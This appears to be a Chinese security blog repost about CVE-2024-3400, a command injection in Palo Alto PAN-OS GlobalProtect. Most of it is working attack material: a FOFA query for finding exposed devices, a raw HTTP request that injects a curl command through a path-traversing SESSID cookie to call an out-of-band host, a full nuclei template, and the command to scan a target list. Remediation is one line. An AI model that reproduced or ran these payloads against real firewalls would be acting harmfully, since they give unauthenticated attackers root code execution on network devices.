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01
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漏洞名称
02
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漏洞影响
03
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漏洞描述
Palo Alto Networks PAN-OS GlobalProtect 是Palo Alto Networks 的一款防火墙产品。2024年4月12日,官方披露CVE-2024-3400 Palo Alto Networks GlobalProtect 命令注入漏洞。在特定PAN-OS版本和不同功能配置下,未经身份验证的攻击者可能利用此漏洞在防火墙上以root权限执行任意代码。
04
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icon_hash="-631559155"
05
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漏洞复现
poc如下,注入点在Cookie中,将其中的DNSlog地址替换为你的dnslog地址,借助DNSLOG来复现,可以使用http://dnslog.pw/
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
漏洞复现成功
06
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nuclei poc
poc文件内容如下
id: CVE-2024-3400
info:
name: GlobalProtect - OS Command Injection
author: pdresearch,parthmalhotra
severity: critical
description: |
A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
reference:
- https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/
- https://github.com/fkie-cad/nvd-json-data-feeds
- https://github.com/k4nfr3/nmap-scripts
- https://github.com/0x0d3ad/CVE-2024-3400
- https://github.com/FoxyProxys/CVE-2024-3400
- https://github.com/MrR0b0t19/CVE-2024-3400
- https://nvd.nist.gov/vuln/detail/CVE-2024-3400
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-3400
cwe-id: CWE-77
epss-score: 0.00371
epss-percentile: 0.72356
cpe: cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
fofa-query: icon_hash="-631559155"
product: pan-os
vendor: paloaltonetworks
tags: cve,cve2024,globalprotect,pan-os,rce,oast,kev
http:
- raw:
- |
GET /global-protect/login.esp HTTP/1.1
Host: {{Hostname}}
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}{{interactsh-url}}`;
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "GlobalProtect Portal"
运行POC
nuclei.exe -t mypoc/cve/CVE-2024-3400.yaml -l data1.txt
07
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修复建议
升级到最新版本。
原文始发于微信公众号(AI与网安):CVE-2024-3400
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